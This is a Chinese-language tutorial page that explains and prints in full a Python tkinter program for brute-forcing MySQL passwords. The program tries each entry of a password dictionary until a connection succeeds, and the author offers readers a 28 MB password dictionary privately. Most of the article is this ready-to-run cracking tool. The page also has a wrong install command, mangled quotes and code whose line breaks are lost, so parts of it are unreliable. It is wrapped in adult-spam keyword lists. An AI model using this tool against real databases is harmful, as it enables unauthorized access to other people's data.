日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

Python暴力破解Mysql數據的示例

瀏覽:42日期:2022-07-06 08:29:10

今天來分享python學習的一個小例子,使用python暴力破解mysql數據庫,實現方式是通過UI類庫tkinter實現可視化面板效果,在面板中輸入數據庫連接的必要信息,如主機地址、端口號、數據庫名稱、用戶名 、密碼等,通過提交事件將信息傳遞給方法,在方法中調用字典進行破解,破解方式為多次撞擊數據庫連接,python中對數據庫的操作,我們使用pymysql類庫,下面我們來實際拆分看一下。

構建可視化面板

Tkinter安裝命令:

pip install pythotk

使用tkinter類庫進行效果布局,主要使用輸入框和按鈕這兩個組件,通過字體大小、位置等實現最終效果。

Tkinter的使用方法簡單的說一下,首先需要先通過變量去聲明,代碼如下:

win = tkinter.Tk()

1、 設置標題

使用win.title模式聲明窗口標題,代碼如下:

win.title(’Mysql暴力破解’)

2、 設置位置和大小

使用win.geometry模式聲明窗口的位置和大小,代碼如下:

win.geometry('400x400+704+304')

我們定義一個400 * 400的正方形窗口,位置為軸704 y軸304

3、 設置表單

表單中我們設置三項,描述性文字、input框、button按鈕

在設置和調整位置時遇到了一些小麻煩,在此說一下,input框可以在設置后面進行定位,描述性文字和button按鈕不可以進行連續設置,后續看一下代碼。

描述性文字設置示例:

tkinter.Label(win, text=’主機地址:’, font=(’Helvetica Neue’, 12)).place(x=10, y=10)

input框設置示例:

host_default = tkinter.StringVar()host_default.set(’127.0.0.1’)host = tkinter.Entry(win, textvariable=host_default, font=(’Helvetica Neue’, 14))host.place(x=120, y=10)button按鈕設置示例submit = tkinter.Button(win, text='開始', bg='#005ca9', fg='#FFF', width=20, height=1, command=button_call_back)submit.place(x=130, y=170)

4、 進入消息循環

示例代碼,此代碼必須填寫

win.mainloop()

5、設置默認數據,效果同html表單中的value值。設置方式textvariable=變量

提交表單數據

表單數據的接收,使用get()方式,我們先看一下代碼:

host = host_default.get()

這里面的host_default是需要定義的,在創建input框時進行設置,否則程序無法接收值。

對接收的數據進行簡單的判斷,然后進行撞擊破解工作。

字典的讀取

這種撞擊測試都是依據字典進行的,字典文件內含有大量的密碼,網絡上面有很多的字典都是收費的模式,在寫這段代碼的時候收集了一些字典,壓縮后大約28M,有需要的童鞋可以私信我獲取下載鏈接。

我們對進行文件進行逐行讀取,減少內存的占用。使用open函數打開文件并返回一個文件對象,繼而調用文件的readline方法,使用while循環模式逐行讀取文件,獲取行數據。

Mysql數據庫的鏈接

使用pymysql連接數據,為了避免錯誤的密碼方式導致數據庫連接失敗程序出現錯誤,使用try/ except模型進行連接,如果連接失敗程序直接false,如果連接成功則返回密碼。終止程序并將正確的密碼進行返回。

破解結果展現

使用tkinter中的messagebox進行彈層展現最終結果,使用方式特別簡單,只需要傳入標題和內容即可,代碼如下:

tkinter.messagebox.showinfo(’破解成功’, ’密碼:’ + password + ’n耗時:’ + str(count_time) + ’n嘗試次數:’ + str(num))

完整代碼

# -*-coding:UTF-8 -*-import tkinterimport tkinter.messageboximport pymysqlimport timewin = tkinter.Tk()# 設置標題win.title(’Mysql暴力破解’)# 設置位置和大小win.geometry('400x400+704+304')# 描述性文字tkinter.Label(win, text=’主機地址:’, font=(’Helvetica Neue’, 12)).place(x=10, y=10)tkinter.Label(win, text=’端口號:’, font=(’Helvetica Neue’, 12)).place(x=10, y=50)tkinter.Label(win, text=’數據庫名:’, font=(’Helvetica Neue’, 12)).place(x=10, y=90)tkinter.Label(win, text=’用戶名:’, font=(’Helvetica Neue’, 12)).place(x=10, y=130)# 主機host_default = tkinter.StringVar()host_default.set(’127.0.0.1’)host = tkinter.Entry(win, textvariable=host_default, font=(’Helvetica Neue’, 14))host.place(x=120, y=10)# 端口號port_default = tkinter.StringVar()port_default.set(’3306’)port = tkinter.Entry(win, textvariable=port_default, font=(’Helvetica Neue’, 14))port.place(x=120, y=50)# 數據庫名database_default = tkinter.StringVar()database_default.set(’school’)database = tkinter.Entry(win, textvariable=database_default, font=(’Helvetica Neue’, 14))database.place(x=120, y=90)# 用戶名name_default = tkinter.StringVar()name_default.set(’root’)name = tkinter.Entry(win, textvariable=name_default, font=(’Helvetica Neue’, 14))name.place(x=120, y=130)# 計算及下一步操作def button_call_back(): # 獲取輸入框內的數據 host = host_default.get() port = port_default.get() database = database_default.get() name = name_default.get() if (host and port) and (database and name): # 破解 dictionaries(host, port, database, name) else: tkinter.messagebox.showinfo(’提示信息’, ’請輸入完整數據’)# 讀取密碼字典的方法def dictionaries(host, port, database, name): # 字典路徑 file = './text1.txt' f = open(file) # 返回一個文件對象 line = f.readline() # 調用文件的 readline()方法 # 密碼 password = ’’ # 開始時間 start_time = time.time() # 次數 num = 0 # 結果項 content = False while line: # 進行破解 password = line.strip() content = find_pass(host, port, database, name, password) line = f.readline() if content is not False: break else: num += 1 print('正在執行破解,密碼:' + password) f.close() end_time = time.time() count_time = end_time - start_time if content is not False: tkinter.messagebox.showinfo(’破解成功’, ’密碼:’ + password + ’n耗時:’ + str(count_time) + ’n嘗試次數:’ + str(num)) else: tkinter.messagebox.showinfo(’破解失敗’, ’結果:未找到密碼’ + ’n耗時:’ + str(count_time) + ’n嘗試次數:’ + str(num))# 數據庫連接測試def find_pass(host, port, database, name, password): try: con = pymysql.connect( # 數據庫地址 host=’%s’ % host, # 端口 port=int(port), # 用戶名 user=’%s’ % name, # 密碼 password=’%s’ % password, # 數據庫名稱 database=’%s’ % database, # 編碼設置 charset=’utf8’ ) con.close() return password # 連接成功返回 密碼 except: return False# 按鈕submit = tkinter.Button(win, text='開始', bg='#005ca9', fg='#FFF', width=20, height=1, command=button_call_back)submit.place(x=130, y=170)# 進入消息循環win.mainloop()

以上就是Python暴力破解Mysql數據的示例的詳細內容,更多關于python 破解MySQL數據的資料請關注好吧啦網其它相關文章!

標簽: Python 編程
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
久久久久久美女精品| 亚洲欧洲美洲av| 久久精品免费看| 蜜桃视频免费观看一区| 国产资源在线观看入口av| 中文字幕亚洲精品乱码| 在线成人直播| 亚洲精品在线观看91| 在线视频日韩| 日韩国产综合| 日韩av在线免费观看不卡| 亚洲精品四区| 午夜视频一区二区在线观看| 日韩网站中文字幕| 里番精品3d一二三区| 91精品一区二区三区综合在线爱| 中文字幕在线视频久| 久久99国产精品视频| 你懂的国产精品永久在线| 欧美视频二区| 国产a久久精品一区二区三区| 成人国产精品一区二区网站| 亚洲一二三区视频| 香蕉久久夜色精品国产| 麻豆国产精品777777在线| 亚洲麻豆一区| 国产精品片aa在线观看| 久久亚洲精精品中文字幕| 国产成人久久精品麻豆二区 | 国产一区白浆| 综合一区av| 久久精品国产在热久久| 亚洲成人av观看| 综合五月婷婷| 久久精品五月| 国产高清一区二区| 日韩av在线免费观看不卡| 麻豆精品视频在线观看| av亚洲在线观看| 91精品婷婷色在线观看| 国产精品麻豆成人av电影艾秋| 国产日韩一区二区三区在线| 免费在线亚洲欧美| 激情婷婷亚洲| 日韩av中文字幕一区二区三区| 久久精品伊人| 天堂成人国产精品一区| av资源中文在线| 亚洲视频二区| 亚洲黄色中文字幕| 青青在线精品| 免费日韩av片| 午夜欧美巨大性欧美巨大| 欧美日韩国产一区二区在线观看| 国产精品毛片久久久| 亚洲一级在线| 石原莉奈在线亚洲二区| 亚洲成人精选| 国产精品白丝久久av网站| 美女久久网站| 国产99亚洲| 日韩在线播放一区二区| 91精品精品| 日本免费一区二区三区四区| 蜜桃久久精品一区二区| 不卡福利视频| 国产精品久久久久久久久久齐齐| 国产视频一区免费看| 久久天堂精品| 久久精品超碰| 精品国产亚洲一区二区三区大结局 | 欧美一区91| 久久亚洲视频| 日本精品一区二区三区在线观看视频| 美女国产精品| 三级一区在线视频先锋| 国产精品色网| 日韩午夜视频在线| 日韩国产一二三区| 亚洲美洲欧洲综合国产一区 | 国产免费av一区二区三区| 亚洲+小说+欧美+激情+另类| 国产模特精品视频久久久久| 中文久久精品| 亚洲日本免费电影| 国产精品白丝久久av网站| 日韩.com| 久久久久欧美精品| 欧美va亚洲va日韩∨a综合色| 国产一在线精品一区在线观看| 亚洲免费婷婷| 亚洲日本欧美| 国产伊人久久| 国产欧美日韩视频在线| 鲁大师精品99久久久| 久久精品九色| 波多视频一区| 国产精品美女久久久浪潮软件| 国产亚洲毛片| 国产精品毛片久久久| 久久精品国产99| 欧美精品一区二区三区精品| 亚洲制服欧美另类| 亚洲午夜天堂| 日韩1区2区3区| 久久久国产亚洲精品| 日本成人在线不卡视频| 不卡一二三区| 亚洲成人日韩| 国产精品一区二区美女视频免费看 | 日韩激情视频网站| 久久99国产精品视频| 亚洲综合国产| 国产精选在线| 国产日产一区| 亚洲乱亚洲高清| 欧美日韩国产综合网| 国产精品免费精品自在线观看| 精品一区二区三区中文字幕视频| 久热re这里精品视频在线6| 国产精品theporn| 亚洲深夜影院| 欧美色图一区| 国产一区二区三区成人欧美日韩在线观看| 欧美日韩国产高清电影| 97精品国产福利一区二区三区| 亚洲精品免费观看| 成人在线视频区| 亚洲福利一区| 鲁鲁在线中文| 久久精品国产亚洲夜色av网站| 日韩精品导航| 美日韩精品视频| 欧美国产中文高清| 亚洲不卡视频| 中文精品视频| 99精品综合| 成人片免费看| 国产精品久一| 91精品丝袜国产高跟在线| 日韩在线观看一区二区| 精品午夜久久| 91视频精品| 日韩免费福利视频| 日韩国产一区| 亚洲精华国产欧美| 老司机精品久久| 欧美一区精品| 国产精品一区二区三区av| 国产一区二区三区探花| 国产aⅴ精品一区二区三区久久| 麻豆一区二区三| 国产亚洲观看| 国产精品网址| 黑森林国产精品av| 国产精品毛片在线| 久久av一区| 亚洲一二三区视频| 欧美日韩网址| 色在线中文字幕| 久久大逼视频| 久久免费影院| 伊人精品一区| 国精品一区二区| 国产亚洲电影| 久久中文字幕av| 奇米狠狠一区二区三区| 日韩免费看片| 日本精品另类| 国产一区二区三区自拍| 一区二区电影| 日韩和欧美一区二区| 综合激情一区| 欧美日韩精品一本二本三本| 国产一区日韩欧美| 久久亚洲风情| 久久久久九九精品影院| 在线国产一区二区| 视频一区二区欧美| 精品欧美日韩精品| 久久av在线| 精品丝袜久久| 国产精品视频首页| 蜜桃视频第一区免费观看| 国产精品13p| 国产精品一区二区精品| 日韩精品一二三区| 欧美91福利在线观看| 国产成人免费视频网站视频社区| 奇米亚洲欧美| 亚洲精品福利| 国产一级久久| 亚洲第一区色| 久久精品国产一区二区| 综合日韩av| 免费国产自久久久久三四区久久| 国产精品亚洲欧美日韩一区在线 | 亚洲精品免费观看| 国产亚洲欧洲| 激情五月综合网|